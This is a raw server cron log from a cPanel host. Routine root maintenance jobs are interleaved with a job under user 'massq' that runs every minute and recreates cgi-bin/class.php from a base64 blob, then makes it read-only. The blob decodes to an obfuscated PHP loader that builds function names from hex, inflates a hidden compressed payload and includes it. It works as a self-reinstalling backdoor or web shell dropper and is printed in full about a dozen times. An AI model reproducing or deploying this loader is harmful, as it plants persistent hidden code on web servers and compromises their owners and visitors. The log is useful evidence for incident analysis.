Nov 11 20:29:01 server CROND[16368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:30:02 server CROND[17185]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 11 20:30:02 server CROND[17190]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:30:02 server CROND[17188]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:30:02 server CROND[17191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 20:30:02 server CROND[17189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:31:01 server CROND[18060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:32:01 server CROND[18961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:33:01 server CROND[19675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:34:01 server CROND[20494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:35:01 server CROND[21318]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 20:35:01 server CROND[21321]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:35:01 server CROND[21320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:35:01 server CROND[21328]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:35:01 server CROND[21329]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 20:36:01 server CROND[21836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:37:01 server CROND[22776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:38:01 server CROND[23591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:39:01 server CROND[24420]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:39:01 server CROND[24421]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 20:40:01 server CROND[25250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:40:01 server CROND[25251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:40:01 server CROND[25252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:40:01 server CROND[25253]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 20:41:01 server CROND[26010]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
